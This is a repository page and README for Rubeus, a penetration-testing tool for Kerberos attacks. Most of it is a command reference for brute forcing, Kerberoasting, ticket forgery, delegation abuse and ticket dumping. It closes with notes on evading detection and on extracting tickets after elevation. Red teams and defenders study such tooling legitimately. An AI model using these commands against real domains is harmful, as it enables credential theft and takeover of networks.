https://github.com/GhostPack/Rubeus
Trying to tame the three-headed dog.
https://github.com/GhostPack/Rubeus
kerberos
Last synced: about 1 year ago
JSON representation
Trying to tame the three-headed dog.
- Host: GitHub
- URL: https://github.com/GhostPack/Rubeus
- Owner: GhostPack
- License: other
- Created: 2018-09-23T23:59:03.000Z (over 7 years ago)
- Default Branch: master
- Last Pushed: 2025-04-04T15:10:38.000Z (about 1 year ago)
- Last Synced: 2025-04-10T04:53:15.067Z (about 1 year ago)
- Topics: kerberos
- Language: C#
- Size: 917 KB
- Stars: 4,389
- Watchers: 80
- Forks: 802
- Open Issues: 37
-
Metadata Files:
- Readme: README.md
- Changelog: CHANGELOG.md
- License: LICENSE
Awesome Lists containing this project
- awesome-windows-domain-hardening - Rubeus - Rubeus is a C# toolset for raw Kerberos interaction and abuses (Uncategorized / Uncategorized)
- fucking-awesome-pentest - Rubeus - Toolset for raw Kerberos interaction and abuses. (Windows Utilities / Web Exploitation Books)
- awesome-pentest - Rubeus - Toolset for raw Kerberos interaction and abuses. (Windows Utilities / Web Exploitation Books)
- venom - `Rubeus` - Toolset for raw Kerberos interaction and abuses. (Operating Systems / Windows)
- awesome-pentest - Rubeus - Toolset for raw Kerberos interaction and abuses. (Windows Utilities / Web Exploitation Books)
- awesome-csirt - Rubeus
- awesome-hacking-lists - GhostPack/Rubeus - Trying to tame the three-headed dog. (C# #)
- penetration-testing - Rubeus - Toolset for raw Kerberos interaction and abuses. (Windows Utilities / Web Exploitation Books)
- awesome-penetest - Rubeus - Toolset for raw Kerberos interaction and abuses. (Windows Utilities / Web Exploitation Books)
README
# Rubeus
----
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 license) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
[Charlie Clark](https://twitter.com/exploitph) and [Ceri Coburn](https://twitter.com/_EthicalChaos_) have both made _significant_ contributions as co-developers to the Rubeus codebase. [Elad Shamir](https://twitter.com/elad_shamir) contributed some essential work for resource-based constrained delegation. Their work is very appreciated!
Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
PKINIT code heavily adapted from [@SteveSyfuhs](https://twitter.com/SteveSyfuhs)'s [Bruce](https://github.com/dotnet/Kerberos.NET) tool. Bruce made RFC4556 (PKINIT) a lot easier to understand. Huge thanks to Steve!
NDR encoding and decoding for Kerberos PAC is based on the [NtApiDotNet](https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtApiDotNet) library from [@tiraniddo](https://twitter.com/tiraniddo), thank you James.
The [KerberosRequestorSecurityToken.GetRequest](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method for Kerberoasting was contributed to PowerView (and then incorporated into Rubeus) by [@machosec](https://twitter.com/machosec).
[@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base.
Rubeus is licensed under the BSD 3-Clause license.
## Table of Contents
- [Rubeus](#rubeus)
- [Table of Contents](#table-of-contents)
- [Background](#background)
- [Command Line Usage](#command-line-usage)
- [Opsec Notes](#opsec-notes)
- [Overview](#overview)
- [Weaponization](#weaponization)
- [Example: Credential Extraction](#example-credential-extraction)
- [Example: Over-pass-the-hash](#example-over-pass-the-hash)
- [Ticket requests and renewals](#ticket-requests-and-renewals)
- [asktgt](#asktgt)
- [asktgs](#asktgs)
- [renew](#renew)
- [brute](#brute)|spray
- [Constrained delegation abuse](#constrained-delegation-abuse)
- [s4u](#s4u)
- [Ticket Forgery](#ticket-forgery)
- [golden](#golden)
- [silver](#silver)
- [diamond](#diamond)
- [Ticket Management](#ticket-management)
- [ptt](#ptt)
- [purge](#purge)
- [describe](#describe)
- [Ticket Extraction and Harvesting](#ticket-extraction-and-harvesting)
- [triage](#triage)
- [klist](#klist)
- [dump](#dump)
- [tgtdeleg](#tgtdeleg)
- [monitor](#monitor)
- [harvest](#harvest)
- [Roasting](#roasting)
- [kerberoast](#kerberoast)
- [kerberoasting opsec](#kerberoasting-opsec)
- [Examples](#examples)
- [asreproast](#asreproast)
- [Miscellaneous](#miscellaneous)
- [createnetonly](#createnetonly)
- [changepw](#changepw)
- [hash](#hash)
- [tgssub](#tgssub)
- [currentluid](#currentluid)
- [logonsession](#logonsession)
- [asrep2kirbi](#asrep2kirbi)
- [kirbi](#kirbi)
- [Compile Instructions](#compile-instructions)
- [Targeting other .NET versions](#targeting-other-net-versions)
- [Sidenote: Building Rubeus as a Library](#sidenote-building-rubeus-as-a-library)
- [Sidenote: Running Rubeus Through PowerShell](#sidenote-running-rubeus-through-powershell)
- [Sidenote Sidenote: Running Rubeus Over PSRemoting](#sidenote-sidenote-running-rubeus-over-psremoting)
## Background
### Command Line Usage
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Ticket requests and renewals:
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Retrieve a TGT suitable for changing an account with an expired password using the changepw command
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Request a TGT without sending pre-auth data:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Request a service ticket using an AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
Rubeus.exe asktgs [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Retrieve a service ticket using the Kerberos Key List Request options:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Retrieve a delegated managed service account ticket:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Perform a scan for account that do not require pre-authentication:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Constrained delegation abuse:
Perform S4U constrained delegation abuse:
Rubeus.exe s4u /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Perform S4U constrained delegation abuse across domains:
Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Ticket Forgery:
Forge a golden ticket using LDAP to gather the relevent information:
Rubeus.exe golden /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values:
Rubeus.exe golden /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket, setting values explicitly:
Rubeus.exe golden [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information:
Rubeus.exe silver /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum:
Rubeus.exe silver /ldap [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values:
Rubeus.exe silver /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information and including an S4U Delegation Info PAC section:
Rubeus.exe silver /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm:
Rubeus.exe silver /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket, setting values explicitly:
Rubeus.exe silver [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a diamond TGT by requesting a TGT based on a user password/hash:
Rubeus.exe diamond /user:USER [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Forge a diamond TGT by requesting a TGT using a PCKS12 certificate:
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Forge a diamond TGT by requesting a TGT using tgtdeleg:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Ticket management:
Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt [/luid:LOGINID]
Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
Rubeus.exe purge [/luid:LOGINID]
Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]
Ticket extraction and harvesting:
Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
Rubeus.exe tgtdeleg [/target:SPN]
Monitor every /interval SECONDS (default 60) for new TGTs:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Roasting:
Perform Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting, outputting hashes to a file:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
Perform Kerberoasting, outputting hashes in the file output format, but to the console:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Perform Kerberoasting with an existing TGT:
Rubeus.exe kerberoast [/nowrap]
Perform Kerberoasting with an existing TGT using an enterprise principal:
Rubeus.exe kerberoast /enterprise [/nowrap]
Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
Rubeus.exe kerberoast /autoenterprise [/ldaps] [/nowrap]
Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
List statistics about found Kerberoastable accounts without actually sending ticket requests:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
Perform AES Kerberoasting:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Perform Kerberoasting using an account without pre-auth by sending AS-REQ's:
Rubeus.exe kerberoast /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]
Perform AS-REP "roasting" for any users without preauth:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]
Perform AS-REP "roasting" for any users without preauth using alternate credentials:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
Miscellaneous:
Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
Reset a user's password from a supplied TGT (AoratoPw):
Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]
Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
Substitute an sname or SPN into an existing service ticket:
Rubeus.exe tgssub /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
Display the current user's LUID:
Rubeus.exe currentluid
Display information about the (current) or (target) logon session, default all readable:
Rubeus.exe logonsession [/current] [/luid:X]
The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.
The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.
The "/debug" flag outputs ASN.1 debugging information.
Convert an AS-REP and a key to a Kirbi:
Rubeus.exe asrep2kirbi /asrep: [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
Insert new DES session key into a Kirbi:
Rubeus.exe kirbi /kirbi: /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap]
NOTE: Base64 ticket blobs can be decoded with :
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
### Opsec Notes
This section covers some notes on the operational security of using Rubeus in an environment, with some technical examples comparing/contrasting some of its approaches to Mimikatz. The material here will be expanded in the future.
#### Overview
Any action you perform on a system is a detectable risk, especially when abusing functionality in "weird"/unintended ways. Rubeus (like any attacker toolset) can be detected in a number of methods, either from the host, network, or domain perspectives. I have a workmate who is fond of stating _"everything is stealthy until someone is looking for it"_ - tools and techniques generally evade detection because either a) people are not sufficiently aware of the tool/technique and therefore not even looking, b) people can not collect and process the data needed at the appropriate scale, or c) the tool/technique blends with existing behavior to sufficiently sneak in with false positives in an environment. There is much more information on these steps and detection subversion in general in [Matt Graeber](https://twitter.com/mattifestation) and [Lee Christensen](https://twitter.com/tifkin_)’s Black Hat USA 2018 [“Subverting Sysmon”](https://i.blackhat.com/us-18/Wed-August-8/us-18-Graeber-Subverting-Sysmon-Application-Of-A-Formalized-Security-Product-Evasion-Methodology.pdf) talk and associated [whitepaper](https://specterops.io/assets/resources/Subverting_Sysmon.pdf).
From the host perspective, Rubeus can be caught during initial [weaponization](#weaponization) of the code itself, by an abnormal (non-lsass.exe) process issuing raw Kerberos port 88 traffic, through the use of sensitive APIs like LsaCallAuthenticationPackage(), or by abnormal tickets being present on the host (e.g. rc4\_hmac use in tickets in a modern environment).
From a network or domain controller log perspective, since Rubeus implements many parts of the normal Kerberos protocol, the main detection method involves the use of rc4\_hmac in Kerberos exchanges. Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges (with a few exceptions like inter-realm trust tickets). Using a rc4\_hmac (NTLM) hash is used in a Kerberos exchange instead of a aes256\_cts\_hmac\_sha1 (or aes128) key results in some signal that is detectable at the host level, network level (if Kerberos traffic is parsed), and domain controller event log level, sometimes known as "encryption downgrade".
#### Weaponization
One common way attack tools are detected is through the weaponization vector for the code. If Rubeus is run [through PowerShell](#sidenote-running-rubeus-through-powershell) (this includes Empire) the standard PowerShell V5 protections all apply (deep script block logging, AMSI, etc.). If Rubeus is executed as a binary on disk, standard AV signature detection comes into play (part of why we [do not release](#compile-instructions) compiled versions of Rubeus, as brittle signatures are silly ; ). If Rubeus is used as a [library](#sidenote-building-rubeus-as-a-library) then it's susceptible to whatever method the primary tool uses to get running. And if Rubeus is run through unmanaged assembly execution (like Cobalt Strike's `execute_assembly`) cross-process code injection is performed and the CLR is loaded into a potentially non-.NET process, though this signal is present for the execution of any .NET code using this method.
Also, AMSI (the Antimalware Scan Interface) has been [added to .NET 4.8](https://blogs.msdn.microsoft.com/dotnet/2018/11/28/announcing-net-framework-4-8-early-access-build-3694/). [Ryan Cobb](https://twitter.com/cobbr_io) has additional details on the offensive implications of this in the **Defense** section of his [“Entering a Covenant: .NET Command and Control”](https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462) post.
#### Example: Credential Extraction
Say we have elevated access on a machine and want to extract user credentials for reuse.
Mimikatz is the swiss army knife of credential extraction, with multiple options. The `sekurlsa::logonpasswords` command will open up a [read handle to LSASS](https://github.com/gentilkiwi/mimikatz/blob/a0f243b33590751a77b6d6f275313a4fe8d42c82/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#L168), enumerate logon sessions present on the system, walk the default authentication packages for each logon session, and extract any reverseable password/credential material present. **Sidenote**: the `sekurlsa::ekeys` command will enumerate ALL key types present for the Kerberos package.
Rubeus doesn't have any code to touch LSASS (and none is intended), so its functionality is limited to extracting Kerberos tickets through use of the LsaCallAuthenticationPackage() API. From a non-elevated standpoint, the session keys for TGTs are not returned (by default) so only service tickets extracted will be usable (the **tgtdeleg** command uses a Kekeo trick to get a usable TGT for the current user). If in a high-integrity context, a [GetSystem](https://github.com/GhostPack/Rubeus/blob/4c9145752395d48a73faf326c4ae57d2c565be7f/Rubeus/lib/Helpers.cs#L55-L107) equivalent utilizing token duplication is run to elevate to SYSTEM, and a fake logon application is registered with the LsaRegisterLogonProcess() API call. This allows for privileged enumeration and extraction of all tickets currently registered with LSA on the system, resulting in base64 encoded .kirbi's being output for later reuse.
